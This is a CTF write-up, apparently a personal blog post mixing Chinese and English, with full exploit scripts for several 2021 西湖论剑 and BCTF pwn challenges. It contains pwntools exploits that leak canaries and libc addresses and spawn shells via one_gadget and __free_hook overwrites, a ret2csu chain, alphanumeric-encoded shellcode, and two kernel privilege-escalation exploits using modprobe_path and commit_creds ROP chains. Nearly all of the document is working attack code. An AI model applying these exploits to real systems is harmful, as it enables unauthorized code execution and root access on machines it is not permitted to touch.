2021-西湖论剑

string_go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/env python
#_*_coding:utf-8_*_
import time
from pwn import *

local = 1
debug = 1
binary = "./string_go"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"

if local:
p = process(binary)
libc = ELF(lib)
else :
p = remote()
lib = "./libc.so.6"
libc = ELF(lib)

s = lambda buf : p.send(buf)
sl = lambda buf : p.sendline(buf)
sa = lambda delim, buf : p.sendafter(delim, buf)
sal = lambda delim, buf : p.sendlineafter(delim, buf)
sh = lambda : p.interactive()
r = lambda n=None : p.recv(n)
ru = lambda delim : p.recvuntil(delim)
r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next()
tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)

sal(">>> ","3")
sal(">>> ","-8")
sal(">>> ","ABCDEFGHIJKL")
sa(">>> ","\xff\xff")
r(0x38)
canary = u64(r(8))
info("canary => 0x%x"%canary)

r(0xb8)
libc.address = r7f() - 231 - libc.sym["__libc_start_main"]
info("libc base => 0x%x"%libc.address)

payload = ""
payload += "A"*(0x18-1)
payload += p64(canary)
payload += "B"*0x18
payload += p64(libc.address+0x4f3d5)

sal(">>> ",payload)

sh()


'''
$ one_gadget ./libc-2.27.so --level 1

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xe546f execve("/bin/sh", r13, rbx)
constraints:
[r13] == NULL || r13 == NULL
[rbx] == NULL || rbx == NULL

0xe5617 execve("/bin/sh", [rbp-0x88], [rbp-0x70])
constraints:
[[rbp-0x88]] == NULL || [rbp-0x88] == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe561e execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe5622 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

0x10a428 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
'''

blind

  • csu的模板上部分的gadget好像并不会被ropper,ROPgadget一些识别。
  • alarm+5是syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
#_*_coding:utf-8_*_
import time
from pwn import *

local = 1
debug = 0
binary = "./blind"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"

if local:
p = process(binary)
libc = ELF(lib)
else :
p = remote()
lib = "./libc.so.6"
libc = ELF(lib)

s = lambda buf : p.send(buf)
sl = lambda buf : p.sendline(buf)
sa = lambda delim, buf : p.sendafter(delim, buf)
sal = lambda delim, buf : p.sendlineafter(delim, buf)
sh = lambda : p.interactive()
r = lambda n=None : p.recv(n)
ru = lambda delim : p.recvuntil(delim)
r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next()
tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)


def csu(rdi,rsi,rdx,torip):
payload = ""
payload += p64(0x00000000004007BA) #pop ......
payload += p64(0) #rbx
payload += p64(1) #rbp
payload += p64(torip) #r12 -> call qword ptr[r12+rbx*8]
payload += p64(rdx) #r13 -> rdx <= mov rdx, r13
payload += p64(rsi) #r14 -> rsi <= mov rsi, r14
payload += p64(rdi) #r15 -> edi <= mov esi, r15d # make sure HWORD[rdi] == 0
payload += p64(0x00000000004007A0)
return payload

'''
.text:00000000004007A0 mov rdx, r13
.text:00000000004007A3 mov rsi, r14
.text:00000000004007A6 mov edi, r15d
.text:00000000004007A9 call qword ptr [r12+rbx*8]
.text:00000000004007AD add rbx, 1
.text:00000000004007B1 cmp rbx, rbp
.text:00000000004007B4 jnz short loc_4007A0
.text:00000000004007B6
.text:00000000004007B6 loc_4007B6: ; CODE XREF: init+34↑j
.text:00000000004007B6 add rsp, 8
.text:00000000004007BA pop rbx
.text:00000000004007BB pop rbp
.text:00000000004007BC pop r12
.text:00000000004007BE pop r13
.text:00000000004007C0 pop r14
.text:00000000004007C2 pop r15
.text:00000000004007C4 retn
'''
'''
gef➤ x/2i alarm
0xcc280 <alarm>: mov eax,0x25
0xcc285 <alarm+5>: syscall
'''

addr = elf.got["alarm"]-8
payload = "A"*0x58
payload += csu(0,addr,8+1,elf.got["read"])
payload += "A"*0x38
payload += csu(0,0x601000+0x200,0x3b,elf.got["read"])
payload += "A"*0x38
payload += csu(addr,0,0,elf.got["alarm"])

info("[*] payload len => %d"%(len(payload)))

sl(payload)
time.sleep(3.5)
s("/bin/sh\x00"+"\x85") # try from \x05 to \xff
time.sleep(0.5)
sl("A"*0x3b)
time.sleep(0.5)
sl("cat /flag")

sh()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// glibc2.23/csu/elf-init.c
void
__libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */

#ifndef LIBC_NONSHARED
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
#endif

#ifndef NO_INITFINI
_init ();
#endif

const size_t size = __init_array_end - __init_array_start;
//-----------------------------------------------------------
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
//-----------------------------------------------------------

}

code_project

  • ALPHA3不允许shellcode里有NULL byte,需要一些简单的mov指令换成push+pop。
  • 实际可以放大着想想,肯定是要爆破,一点点查地址,vm的内存映射表在内核中,在用户态胡乱访问应该会触发segment fault,把地址用writev送入内核,根据返回得rax值判断是否存在映射。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
#_*_coding:utf-8_*_
import time
from pwn import *

local = 1
debug = 0
binary = "./code_project"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"

if local:
p = process(binary)
libc = ELF(lib)
else :
p = remote()
lib = "./libc.so.6"
libc = ELF(lib)

s = lambda buf : p.send(buf)
sl = lambda buf : p.sendline(buf)
sa = lambda delim, buf : p.sendafter(delim, buf)
sal = lambda delim, buf : p.sendlineafter(delim, buf)
sh = lambda : p.interactive()
r = lambda n=None : p.recv(n)
ru = lambda delim : p.recvuntil(delim)
r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next()
tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)

def toPrintable(raw):
with open("/tmp/raw","wb") as f:
asmcode = asm(raw,arch='amd64')
print(tohex(asmcode))
f.write(asmcode)
result = os.popen("python2 ~/tools/alpha3/ALPHA3.py x64 ascii mixedcase rdx --input=/tmp/raw").read()
print("[*] Shellcode => %s"%result)
return result

shell = '''
push 0x70
pop rbx
shl rbx,0x10
push 0x30
push rbx
push 0x1
pop rdi
mov rsi,rsp
push 0x1
pop rdx
push 0x14
pop rax
syscall
push 0x1
pop rcx
shl rcx,12
add rbx,rcx
add rsp,0x10
cmp rax,0x1
jle $-0x23
'''
payload = toPrintable(shell)
info("len => %d"%len(payload))
sl(toPrintable(shell))
sh()

  • witev
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ man 2 writev
SYNOPSIS
ssize_t writev(int fd, const struct iovec *iov, int iovcnt);
EXAMPLE
The following code sample demonstrates the use of writev():

char *str0 = "hello ";
char *str1 = "world\n";
struct iovec iov[2];
ssize_t nwritten;

iov[0].iov_base = str0;
iov[0].iov_len = strlen(str0);
iov[1].iov_base = str1;
iov[1].iov_len = strlen(str1);

nwritten = writev(STDOUT_FILENO, iov, 2);

  • tese case
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/mman.h>

void test(uint64_t addr)
{
__asm__ __volatile__
(
"push 0x70\n"
"pop rbx\n"
"shl rbx,0x10\n"
"push 0x30\n"
"push rbx\n"
"push 0x1\n"
"pop rdi\n"
"mov rsi,rsp\n"
"push 0x1\n"
"pop rdx\n"
"push 0x14\n"
"pop rax\n"
"syscall\n"
"push 0x1\n"
"pop rcx\n"
"shl rcx,12\n"
"add rbx,rcx\n"
"add rsp,0x10\n"
"cmp rax,0x1\n"
"jle $-0x23\n"

// :"=m"(addr)
);
}

int main()
{
int fd;
uint64_t ur = 0;
fd = open("/dev/urandom",0);
read(fd,&ur,4);
ur &= 0xFFFF000;
mmap((void *)(ur), 0x1000uLL, 3, 34, -1, 0LL);
strcpy((void*)ur,"flag{aaaa}");
printf("addr => 0x%x\n",ur);
test(ur);

return 0;
}

easykernel

  • 使用modprobe_path
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
#include <sys/socket.h>

uint64_t D_base;
uint64_t K_base;

#define PATH ("/dev/kerpwn")

#define D(addr) (uint64_t)((D_base)+(addr))
#define K(addr) (uint64_t)((K_base)+(addr)-(0xFFFFFFFF81000000))
#define mmap3(addr) mmap((void*)((addr)&(0xffffffff)&(~0xfff)-0x2000), 0x5000,7, MAP_PRIVATE|MAP_ANONYMOUS,-1,0)

#define ADD (0x20)
#define FREE (0x30)
#define EDIT (0x50)
#define SHOW (0x40)



int fd;
int raceflag = 1;
uint64_t user_cs, user_ss, user_eflags,user_sp;

void save_stats() {
__asm__ __volatile__(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
printf("[*] save_stats\n");
}

void shell()
{
if(getuid() == 0)
{
system("/bin/sh");
exit(-1);
// execve("/bin/sh",NULL,NULL);
}
printf("No root shell !!");
}


typedef struct
{
uint64_t A;
uint64_t B;
char* C;
}item;


int show(int index,char* buf)
{
int ret;
item *p = malloc(sizeof(item));
p->A = index;
p->B = 0x100;
p->C = buf;
ret = ioctl(fd,SHOW,p);

free(p);
return ret;

}

int add(char* buf)
{
int ret;
item *p = malloc(sizeof(item));

p->A = 0x20;
p->B = buf;
ret = ioctl(fd,ADD,p);
free(p);
return ret;
}

int edit(int index,char *buf)
{
int ret;
item *p = malloc(sizeof(item));
p->A = index;
p->B = 0x20;
p->C = buf;
ret = ioctl(fd,EDIT,p);

free(p);
return ret;
}

int del(int index)
{
int ret;
item *p = malloc(sizeof(item));
p->A = index;
ret = ioctl(fd,FREE,p);
free(p);
return ret;
}

int main()
{
if(fork())
{
int tmp;
signal(SIGSEGV,shell);
save_stats();

char *buf = malloc(0x200);

fd = open(PATH,2);
if(fd == -1)
{
printf("[!] open fails!");
exit(-1);
}
strcpy(buf,"AAAAAAAA");
add(buf);
del(0);

tmp = open("/proc/self/stat", O_RDONLY);
memset(buf,0,0x100);
show(0,buf);

K_base = ((uint64_t*)buf)[0] - 0xffffffff81319d30 + 0xffffffff81000000;
printf("[*] K_base => %p\n",(void*)K_base);

memset(buf,0,0x100);
uint64_t* p = (void*)buf;
p[0] = K(0xffffffff810e3b22); // xchg esp,eax;ret

mmap3(K(0xffffffff810e3b22));

uint64_t* rsp = K(0xffffffff810e3b22)&0xffffffff;

// rsp[0] = 0xdeadbeefdeadbeef;
int i =0;
rsp[i++] = K(0xffffffff81059afc); // pop rdx;ret
rsp[i++] = K(0xffffffff82663c00); // modprobe_path
rsp[i++] = K(0xffffffff811cad0d); // pop rsi;ret
rsp[i++] = 0x782f706d742f ; // /tmp/x
rsp[i++] = K(0xffffffff819f184a); // mov [rdx], rsi; ret
rsp[i++] = K(0xffffffff81089250); // pop rdi; ret
rsp[i++] = 0x7758521 ; // seconds
rsp[i++] = K(0xffffffff8112f3b0); // msleep

edit(0,buf);
read(tmp,NULL,NULL);
}
else
{
sleep(2);

system("echo '#!/bin/sh' > /tmp/x");
system("echo '/bin/cat /flag > /tmp/flag' >> /tmp/x");
system("chmod +x /tmp/x");

system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");

system("/bin/sh");
/*
* 进入shell并非是root权限但是,只以拿flag为目的,进入tmp目录读取flag即可
*/

}
return 0;

}
// gef➤ x/32gx 0xffffffffc0004540
  • commit_cred(prepare_kernel_cred(NULL))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <stdint.h>
#include <signal.h>
#include <sys/socket.h>

uint64_t D_base;
uint64_t K_base;

#define PATH ("/dev/kerpwn")

#define D(addr) (uint64_t)((D_base)+(addr))
#define K(addr) (uint64_t)((K_base)+(addr)-(0xFFFFFFFF81000000))
#define mmap3(addr) mmap((void*)((addr)&(0xffffffff)&(~0xfff)-0x2000), 0x5000,7, MAP_PRIVATE|MAP_ANONYMOUS,-1,0)

#define ADD (0x20)
#define FREE (0x30)
#define EDIT (0x50)
#define SHOW (0x40)



int fd;
int raceflag = 1;
uint64_t user_cs, user_ss, user_eflags,user_sp;

void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
printf("[*] save_stats\n");
}

void shell()
{
if(getuid() == 0)
{
system("/bin/sh");
// execve("/bin/sh",NULL,NULL);
}
printf("No root shell !!");
}


typedef struct
{
uint64_t A;
uint64_t B;
char* C;
}item;


int show(int index,char* buf)
{
int ret;
item *p = malloc(sizeof(item));
p->A = index;
p->B = 0x100;
p->C = buf;
ret = ioctl(fd,SHOW,p);

free(p);
return ret;

}

int add(char* buf)
{
int ret;
item *p = malloc(sizeof(item));

p->A = 0x20;
p->B = buf;
ret = ioctl(fd,ADD,p);
free(p);
return ret;
}

int edit(int index,char *buf)
{
int ret;
item *p = malloc(sizeof(item));
p->A = index;
p->B = 0x20;
p->C = buf;
ret = ioctl(fd,EDIT,p);

free(p);
return ret;
}

int del(int index)
{
int ret;
item *p = malloc(sizeof(item));
p->A = index;
ret = ioctl(fd,FREE,p);
free(p);
return ret;
}

int main()
{

int tmp;
signal(SIGSEGV,shell);
save_stats();

char *buf = malloc(0x200);

fd = open(PATH,2);
if(fd == -1)
{
printf("[!] open fails!");
exit(-1);
}
strcpy(buf,"AAAAAAAA");
add(buf);
del(0);

tmp = open("/proc/self/stat", O_RDONLY);
memset(buf,0,0x100);
show(0,buf);

K_base = ((uint64_t*)buf)[0] - 0xffffffff81319d30 + 0xffffffff81000000;
printf("[*] K_base => %p\n",(void*)K_base);

memset(buf,0,0x100);
uint64_t* p = (void*)buf;
p[0] = K(0xffffffff810e3b22); // xchg esp,eax;ret

mmap3(K(0xffffffff810e3b22));

uint64_t* rsp = K(0xffffffff810e3b22)&0xffffffff;
// rsp[0] = 0xdeadbeefdeadbeef;
int i =0;
rsp[i++] = K(0xffffffff81089250); //pop rdi;ret
rsp[i++] = 0;
rsp[i++] = K(0xffffffff810c91d0); //prepare_kernel_cred
rsp[i++] = K(0xffffffff81255323); //pop rcx;ret
rsp[i++] = 0;
rsp[i++] = K(0xffffffff81b72e8b); //mov rdi,rax; rep ;ret
rsp[i++] = K(0xffffffff810c8d40); //commit_creds
rsp[i++] = K(0xffffffff81075ef0); //swapgs ; ret
rsp[i++] = K(0xffffffff8103a2ab); //iretq ;pop rbp;ret
rsp[i++] = (uint64_t)(shell);
rsp[i++] = user_cs;
rsp[i++] = user_eflags;
rsp[i++] = user_sp;
rsp[i++] = user_ss;
edit(0,buf);
read(tmp,NULL,NULL);
return 0;


}
// gef➤ x/32gx 0xffffffffc0004540

2021-BCTF

string_go

  • 详见c++ pwn第三题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python2
from pwn import *

local = 1
debug = 1
binary = "./bytezoom"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"

if local:
p = process(binary)
libc = ELF(lib)
else :
p = remote()
lib = "./libc.so.6"
libc = ELF(lib)

s = lambda buf : p.send(buf)
sl = lambda buf : p.sendline(buf)
sa = lambda delim, buf : p.sendafter(delim, buf)
sal = lambda delim, buf : p.sendlineafter(delim, buf)
sh = lambda : p.interactive()
r = lambda n=None : p.recv(n)
ru = lambda delim : p.recvuntil(delim)
r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
trs = lambda addr : libc.address+addr
gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next()
tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)

def add(type,index,name):
sal("choice:","1")
sal("cat or dog?",type)
sal("input index:",str(index))
sal("name:",name)
sal("age:",str(0x40))

def manage():
sal("choice:","3")

def manage_exit():
sal("choice:","4")
def show(type,index):
sal("choice:","2")
sal("cat or dog?",type)
sal("index:",str(index))

def select(type,index):
sal("choice:","1")
sal("cat or dog?",type)
sal("index:",str(index))

def add_age(type,size):
sal("choice:","2")
sal("cat or dog?",type)
sal("want to add",str(size))

def change_name(type,name):
sal("choice:","3")
sal("cat or dog?",type)
sal("new name:",name)

add("cat",0,"C"*0x4)
add("dog",1,"D"*0x4)
manage()
select("dog",1)
manage_exit()
add("dog",1,"E"*0x4)
add("cat",1,"F"*0x4)

manage()
add_age("dog",0xf0)
select("cat",1)
change_name("cat","\x01\x11")
manage_exit()

add("dog",3,"3"*0x4)
add("dog",2,"D"*0x480)
add("dog",2,"D"*0x4)
show("dog",1)

ru("name:")
r(0x30)
heap = u64(r(8)) - 0x14cf0
libc.address = r7f() - 1328 - 0x10 - libc.sym["__malloc_hook"]

info("heap => 0x%x"%heap)
info("libc => 0x%x"%libc.address)

manage()
add_age("dog",0x78)
change_name("cat",p64(libc.sym["__free_hook"]-0x10))
select("dog",3)
change_name("dog","/bin/sh\x00"*2+p64(libc.sym["system"]))

sh()

bytectf-bytecmsc

  • 审出来两个漏洞点
    1. remove_by_name,的循环中没有break,导致删除多个但是全局计数变量gnum只捡了1。从而引起vector的size()方法与gnum不一致。(正统的vector并没有字段来储存size,本题作者自建的vector却使用gnum来储存size,本来就是有猫腻)
    2. 在edit处,cin>>one->ptr,存在溢出,但是cin的截断属性不太好利用。
  • 我真觉得user_pwn非要在极极极极极极端情况下拿shell,卷的没必要。

Reference